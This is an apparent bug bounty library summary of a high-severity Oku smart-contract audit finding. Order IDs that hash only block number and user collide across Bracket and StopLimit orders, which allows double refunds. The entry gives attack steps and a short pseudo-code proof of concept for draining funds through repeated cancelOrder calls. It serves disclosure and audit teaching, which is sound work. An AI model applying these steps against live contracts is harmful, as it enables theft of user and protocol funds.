# stopLimit Id collision with bracket orders due to no validation, opening up an attack to steal funds

Oku's orderId generation lacks contract entropy, so Bracket and StopLimit orders in the same block collide, enabling double-refund via repeated cancelOrder.

- Payout: Audit contest
- Severity: high
- Program: Oku
- Found by: 056Security
- Disclosed: 2024-11-22
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-11-oku-judging/issues/761
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-11-oku%3AH-7
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:race-window technique:source-review vuln:accounting-error vuln:business-logic vuln:race-condition

**Target:** AutomationMaster.generateOrderId / Bracket & StopLimit order creation and cancellation
**Root cause:** generateOrderId hashes only block.number and user, with no contract address or nonce, so Bracket and StopLimit orders created by the same user in the same block share an orderId. The shared orders mapping in Bracket is overwritten and cancelOrder can be invoked repeatedly against the same id.
**Steps:**
1. In block N, call `bracket.createOrder({amountIn: 5000e6, recipient: attacker})` -> orderId = hash(blockN, attacker).
2. In the same block N, call `stopLimit.createOrder({amountIn: 10000e6, recipient: attacker})`, which internally calls `bracket.fillStopLimitOrder` and produces the same orderId.
3. Call `bracket.cancelOrder(orderId)` to receive a refund of 10000 USDT.
4. Call `bracket.cancelOrder(orderId)` again to receive another 10000 USDT refund.
**How found:** Code review of generateOrderId noticed the hash inputs (block.number, user) lacked contract-specific entropy, and that Bracket and StopLimit share the AutomationMaster and orders mapping, implying cross-contract collisions within a block.
**Exploitation:** Attacker with MEV/same-block execution capability creates a Bracket order and a StopLimit order in the same block for the same user, causing an orderId collision that overwrites the shared orders mapping. Repeated cancelOrder calls on the colliding id refund the attacker multiple times, draining protocol funds.
**Insight:** When auditing multi-contract protocols sharing an ID generator, check whether the hash includes the calling contract address and a per-user nonce; any deterministic id derived only from block-scoped values plus user is collision-prone across sibling contracts in the same block.

## Proof of concept (copied exactly from the original report)

**Attack path: create bracket and stopLimit orders then double cancel**

```
// Block N
// Step 1: Create Bracket order (5000 USDT)
bracket.createOrder({
    amountIn: 5000e6,
    recipient: attacker
});
// OrderId = hash(blockN + attacker)

// Same Block N
// Step 2: Create StopLimit order (10000 USDT)
stopLimit.createOrder({
    amountIn: 10000e6,
    recipient: attacker
});
// Internally calls bracket.fillStopLimitOrder
// Same OrderId = hash(blockN + attacker)

// Step 3: Cancel order twice
bracket.cancelOrder(orderId); // Refunds 10000 USDT
bracket.cancelOrder(orderId); // Refunds 10000 USDT again
```

